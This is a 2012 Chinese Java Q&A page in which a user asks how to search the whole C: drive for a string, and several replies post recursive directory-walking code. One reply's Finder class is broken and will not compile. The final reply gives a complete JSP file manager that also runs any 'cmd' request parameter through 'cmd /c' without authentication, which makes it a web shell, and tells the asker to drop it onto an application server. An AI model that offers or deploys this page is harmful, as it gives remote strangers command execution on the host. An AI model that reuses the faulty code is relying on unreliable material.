首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > JAVA > J2SE开发 >

遍历C盘!分不够可再加!该怎么解决

2012-01-05 
遍历C盘!--急!!分不够可再加!如何用java实现对C盘的遍历,以查找一个字符串?在遍历时,不是一个个读取C盘里

遍历C盘!--急!!分不够可再加!
如何用java实现对C盘的遍历,以查找一个字符串?
在遍历时,不是一个个读取C盘里的文件,而是把C盘道成一个整体,对其进行按字节遍历!!
用java可以实现吗??
用什莫方法??
请高手多多指教!!!


[解决办法]
操作系统不会允许你那么做的
[解决办法]
如何用java实现对C盘的遍历,以查找一个字符串?
你这样做也是读文件,读到文件夹的则下去直到读到文件为止,将文件解析FILE,判断是否包含相关字符
public class testLXX {
public static void main(String[] arg)
{
File file=new File( "c:/ ");
visitAllFiles(file);
System.out.println(file.list());
}
public static void visitAllFiles(File dir) {
if (dir.isDirectory()) {
String[] children = dir.list();
for (int i=0; i <children.length; i++) {
visitAllFiles(new File(dir, children[i]));
System.out.println(children[i]);
      对比 是否存在字符串
}
} else {

}
}


}

[解决办法]
首先想要遍历, 一定要递归, 然后遇到文件先判断是否为文本,如果不是文本文件就略过,如果是就把文件内容读进来, 然后查找,如果查找到了, 就返回OK. 如果没找到, 继续查找.
[解决办法]
public class Finder {

private String key;
private String path = "c: ";

private Vector result = new Vector();

public Finder(String key) {
this.key = key;
}

public void scan() {
scan(path);
}
public void scan(String path) {
File f = new File(path);
if (f.exists() && f.isDirectory()) {
scan(f);
}
else {
System.out.println( "input a folder name ");
}
}
public void scan(File folder) {
File [] files = folder.listFiles();
for (int i = 0; i < files.length; i++) {
if (files[i].isDirectory()) {
scan(files[i]);
}
else {
if (isTxtFile(files[i])) {
BufferedReader theReader = new BufferedReader(new InputStreamReader(new FileInputStream(files[i])));
String one = theReader.readLine();
while (one != null) {
if (one.toLowerCase().indexOf(key.toLowerCase())) {
result.add(files[i]);
}
one = theReader.readLine();
}
}
}
}
}

private boolean isTxtFile(File f) {
if (f.isFile()) {
// judge a file is text file return true;
return true;
}
return false;
}

public Vector getResult() {
return result;
}
}
[解决办法]
<%@ page contentType= "text/html;charset=gb2312 "%>
<%@page import= "java.io.* " %>
<%@page import= "java.util.* "%>
<style>
td,select,input,body
{
font-size:9pt;
}
A { TEXT-DECORATION: none }
</style>
<title> Jsp File Manger </title>
<%!
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
**/
{
StringBuffer sb=new StringBuffer( "驱动器 : ");
File roots[]=File.listRoots();


for(int i=0;i <roots.length;i++)
{
sb.append( " <a href= '?path= "+roots[i]+ " '> ");
sb.append(roots[i]+ " </a> &nbsp;&nbsp; ");
}
return sb.toString();
}
%>
<%
String strThisFile= "folder.jsp ";
request.setCharacterEncoding( "gb2312 ");
String strDir = request.getParameter( "path ");

if(strDir==null||strDir.length() <1)
{
strDir = "c:\\ ";
}
StringBuffer sb=new StringBuffer( " ");
StringBuffer sbFile=new StringBuffer( " ");
try
{
out.println( " <table border=1 width= '100% ' bgcolor= '#F1f1f1 '> <tr> <td width= '30% '> 当前目录: <b> "+strDir+ " </b> </td> <td> " + getDrivers() + " </td> </tr> </table> <br> \r\n ");
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()> 3)
{
sb.append( " <tr> <td > &nbsp; </td> <td> <a href= '?path= "+objFile.getParentFile().getAbsolutePath()+ " '> ");
sb.append( "上级目录 </a> <br> - - - - - - - - - - - </td> </tr> \r\n ");
}
for(int i=0;i <list.length;i++)
{
if(list[i].isDirectory())
{
sb.append( " <tr> <td > &nbsp; </td> <td> ");
sb.append( " <a href= '?path= "+list[i].getAbsolutePath()+ " '> "+list[i].getName()+ " </a> ");
sb.append( " </td> </tr> ");
//sb.append( " </td> </tr> </table> \r\n ");
}
else
{
String strLen= " ";
String strDT= " ";
long lFile=0;
lFile=list[i].length();

if(lFile> 1000000)
{
lFile=lFile/1000000;
strLen= " " + lFile + " M ";
}
else if(lFile> 1000)
{
lFile=lFile/1000;
strLen= " " + lFile + " K ";
}
else
{
strLen= " " + lFile + " Byte ";
}
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append( " <tr> <td> ");
sbFile.append( " "+list[i].getName());
sbFile.append( " </td> <td> ");
sbFile.append( " "+strLen);
sbFile.append( " </td> <td> ");
sbFile.append( " "+strDT);
sbFile.append( " </td> <td> ");
sbFile.append( " <!--修改 删除 下载 复制--> ");
sbFile.append( " </td> </tr> \r\n ");
//sbFile.append( " </td> </tr> </table> ");
}

}
//out.println(sb.toString()+sbFile.toString());
}
catch(Exception e)
{
out.println( " <font color=red> 操作失败: "+e.toString()+ " </font> ");
}
%>


<table width= "100% " border= "1 " cellspacing= "0 " cellpadding= "5 " bordercolorlight= "#000000 " bordercolordark= "#FFFFFF ">

<tr>
<td width= "25% " align= "center " valign= "top ">
<table width= "98% " border= "0 " cellspacing= "0 " cellpadding= "3 ">

<%=sb%>
</tr>
</table>
</td>


<td width= "81% " align= "center " valign= "top ">
<table width= "98% " border= "1 " cellspacing= "1 " cellpadding= "4 " bordercolorlight= "#cccccc " bordercolordark= "#FFFFFF ">
<tr bgcolor= "#E7e7e6 ">
<td width= "26% "> 文件名称 </td>
<td width= "19% " align= "center "> 文件大小 </td>
<td width= "29% " align= "center "> 修改时间 </td>
<td width= "26% " align= "center "> 文件操作 </td>
</tr>
<%=sbFile%>
<!-- <tr align= "center ">
<td colspan= "4 "> <br>
总计文件个数: <font color= "#FF0000 "> 30 </font> ,大小: <font color= "#FF0000 "> 664.9 </font>
KB </td>
</tr>
-->
</table>
</td>
</tr>
</table>

<%
String strCmd= " ";
String line= " ";
StringBuffer sbCmd=new StringBuffer( " ");
strCmd = request.getParameter( "cmd ");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec( "cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+ "\r\n ");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}

%>
<form name= "cmd " action= " " method= "post ">
<input type= "text " name= "cmd " value= " <%=strCmd%> " size=50>
<input type=submit name=submit value= "执行 ">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals( " ")==false)
{
%>
<TEXTAREA NAME= "cqq " ROWS= "20 " COLS= "100% "> <%=sbCmd.toString()%> </TEXTAREA>
<%
}
%>


把上面这个文件改成.jsp文件,然后放到你的应用服务器下,访问后看看就可以了。

热点排行
Bad Request.